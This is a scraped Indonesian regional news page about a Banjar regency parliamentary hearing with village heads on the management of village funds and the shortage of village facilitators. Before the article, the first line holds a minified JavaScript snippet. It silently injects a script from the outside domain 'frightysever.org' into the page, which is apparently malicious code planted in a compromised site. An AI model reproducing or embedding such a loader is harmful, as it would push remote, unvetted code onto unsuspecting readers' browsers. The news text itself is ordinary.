(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Rapat dengar pendapat jajaran Komisi II DPRD Kabupaten Banjar bersama DPMPD Kabupaten Banjar dengan kepala desa di Aula Kecamatan Karang Intan, Selasa (19/9).
KARANG INTAN, Dinas Pemberdayaan Masyarakat dan Pemerintahan Desa (DPMPD) Kabupaten Banjar bersama jajaran Komisi II DPRD Kabupaten Banjar menyambangi Kecamatan Karang Intan, Selasa (19/9). Kedatangan dua intitusi berbeda ini dalam rangka rapat dengar pendapat dan serap aspirasi kepala desa.
Kesempatan itu pun tak disia-siakan para kepala desa yang dikumpulkan di Aula Kecamatan Karang Intan untuk menyampaikan berbagai masukan. Di antaranya minimnya tenaga pendamping desa.
Hal ini disampaikan Sekretaris Desa (Sekdes) Desa Sungai Landas, Syamsuddin. Dia mengatakan, keberadaan dua tenaga pendamping desa yang ada saat ini dianggap masih kurang. “Dua orang tenaga pendamping terlalu sedikit untuk dapat melakukan pendampingan 26 desa yang ada di Karang Intan,†ujarnya.
Ia berharap, pembinaan aparatur desa lebih ditingkatkan dalam hal pengelolaan dana desa. Pembinaan peningkatan kemampuan aparatur dalam pengelolaan keungan, penting dilakukan agar besarnya dana desa tak lepas sasaran.
Tentang kegiatan dengar pendapat yang dilaksankan, Marbawi, anggota Komisi II DPRD Banjar yang hadir bersama lima anggota Komisi II lainnya mengatakan, kegiatan dalam rangka menggali aspirasi serta permasalahan pengelolaan Dana Desa di Kecamatan Karang Intan.
“Sangatlah penting masyarakat agar menyampaikan aspirasi tentang pengelolaan dana desa, Karena ini meruapkan masukan dan kami akan menindak lanjuti aspirasi tersebut sesuai aturan yang berlaku,†ujar Barmawi.
Terkait pengelolaan dana desa yang menjadi aspirasi jamak par akepala desa, Abdul Muis, Camat Karang Intan mengimbau, pengelolaan dana desa harus lebih efektif dan efisien sesuai peraturan yang ada, dengan begitu, keberadaan dana desa benar-benar akan dirasakan manfaatnya oleh masyarakat.
Senada, Kepala DPMPD Kabupaaten Banjar, H Aspihani menjelaskan ersoalan penggunaaan dana desa. Menurutnya, ada beberapa titik- rawan kesalahan yang masih banyak terjadi dalam pengelolaan dan penggunaan dana desa. Titik rawan itu ada di perencanaan, pelaksanaan, dan pertanggung jawaban.***
KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
This website uses cookies.